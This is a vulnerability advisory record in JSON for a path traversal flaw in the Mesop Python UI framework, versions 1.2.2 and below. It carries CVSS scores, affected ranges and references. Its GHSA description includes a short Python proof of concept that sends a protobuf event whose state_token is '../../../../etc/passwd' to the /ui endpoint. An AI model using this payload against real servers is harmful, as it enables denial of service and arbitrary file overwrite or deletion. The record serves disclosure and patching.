{"id":"CVE-2026-33054","aliases":["CVE-2026-33054","GHSA-8qvf-mr4w-9x2c","PYSEC-2026-411"],"related":[],"kind":"vulnerability","state":"published","title":"Mesop: Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion","summary":"Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Mesop is a Python-based UI framework that allows users to build web applications. Versions 1.2.2 and below contain a Path Traversal vulnerability that allows any user supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation. This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds. This issue has been fixed in version 1.2.3.","source":"cvelist"},{"lang":"en","text":"#### Summary\nA Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.\n\n#### Details\nWhen the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. \nIn `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.\nBecause this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). \n\n```python\n# mesop/server/state_session.py\n  def _make_file_path(self, token: str) -> Path:\n    return self.base_dir / (self.prefix + token)\n```\nPython's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.\n\n#### PoC\nAn attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.\n\n```python\nimport requests\nimport mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled\n\n# 1. Craft the malicious protobuf message\nuser_event = pb.UserEvent()\n# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file\nuser_event.state_token = \"../../../../etc/passwd\" \n\n# Alternatively, targeting Windows:\n# user_event.state_token = \"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n\nserialized_event = user_event.SerializeToString()\n\n# 2. Send the message to the ui stream endpoint\nheaders = {'Content-Type': 'application/x-protobuf'}\nresponse = requests.post(\n    \"http://localhost:32123/ui\",\n    data=serialized_event,\n    headers=headers\n)\n\n# The server will attempt to parse /etc/passwd using msgpack, \n# resulting in a crash or reading/overwriting operations depending on the request type invoked.\nprint(response.content)\n```\n\n#### Impact\nThis vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Mesop es un framework de interfaz de usuario basado en Python que permite a los usuarios construir aplicaciones web. Las versiones 1.2.2 e inferiores contienen una vulnerabilidad de salto de ruta que permite a cualquier usuario que suministre un state_token no confiable a través de la carga útil del flujo de la interfaz de usuario dirigirse arbitrariamente a archivos en el disco bajo el backend de tiempo de ejecución estándar basado en archivos. Esto puede resultar en denegación de servicio de la aplicación (a través de bucles de bloqueo al leer archivos de destino que no son msgpack como configuraciones), o manipulación arbitraria de archivos. Esta vulnerabilidad expone gravemente los sistemas alojados que utilizan FileStateSessionBackend. Actores maliciosos no autorizados podrían interactuar con cargas útiles arbitrarias sobrescribiendo o eliminando explícitamente recursos de servicio subyacentes de forma nativa fuera de los límites de la aplicación. Este problema ha sido solucionado en la versión 1.2.3.","source":"nvd"}],"published":"2026-03-18T20:01:21.000Z","modified":"2026-11-16T15:45:09.376Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","score":10,"rating":"CRITICAL"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 1.2.3","status":"affected"}],"vendor":"mesop-dev","product":"mesop","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.2.3"}],"ecosystem":"PyPI","package":"mesop","purl":"pkg:pypi/mesop","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.2.3"}],"vendor":"mesop-dev","product":"mesop","cpe":"cpe:2.3:a:mesop-dev:mesop:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.2.3"}],"ecosystem":"PyPI","package":"mesop","purl":"pkg:pypi/mesop","source":"pysec"}],"references":[{"url":"https://github.com/mesop-dev/mesop/security/advisories/GHSA-8qvf-mr4w-9x2c","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/mesop-dev/mesop/commit/c6b382f363b73ac32c402a2db3aadc7784f66a5b","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/mesop-dev/mesop/releases/tag/v1.2.3","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33054","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/mesop-dev/mesop","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/mesop/PYSEC-2026-411.yaml","tags":["web"],"sources":["ghsa"]},{"url":"https://pypi.org/project/mesop","tags":["package","web"],"sources":["ghsa","pysec"]},{"url":"https://github.com/advisories/GHSA-8qvf-mr4w-9x2c","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-03-20T13:50:11.848Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-33054","url":"https://www.cve.org/CVERecord?id=CVE-2026-33054","licence":"CVE Terms of Use","modified":"2026-03-20T13:50:27.328Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-8qvf-mr4w-9x2c","url":"https://github.com/advisories/GHSA-8qvf-mr4w-9x2c","licence":"CC-BY-4.0","modified":"2026-11-16T15:45:09.376Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-33054","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33054","licence":"Public domain","modified":"2026-06-17T10:36:52.323Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-411","url":"https://osv.dev/vulnerability/PYSEC-2026-411","licence":"CC-BY-4.0","modified":"2026-07-13T16:15:28.237Z"}],"updatedAt":"2026-11-25T22:59:16.288Z","epss":{"score":0.00793,"percentile":0.57521,"date":"2026-12-01T12:00:22.000Z"}}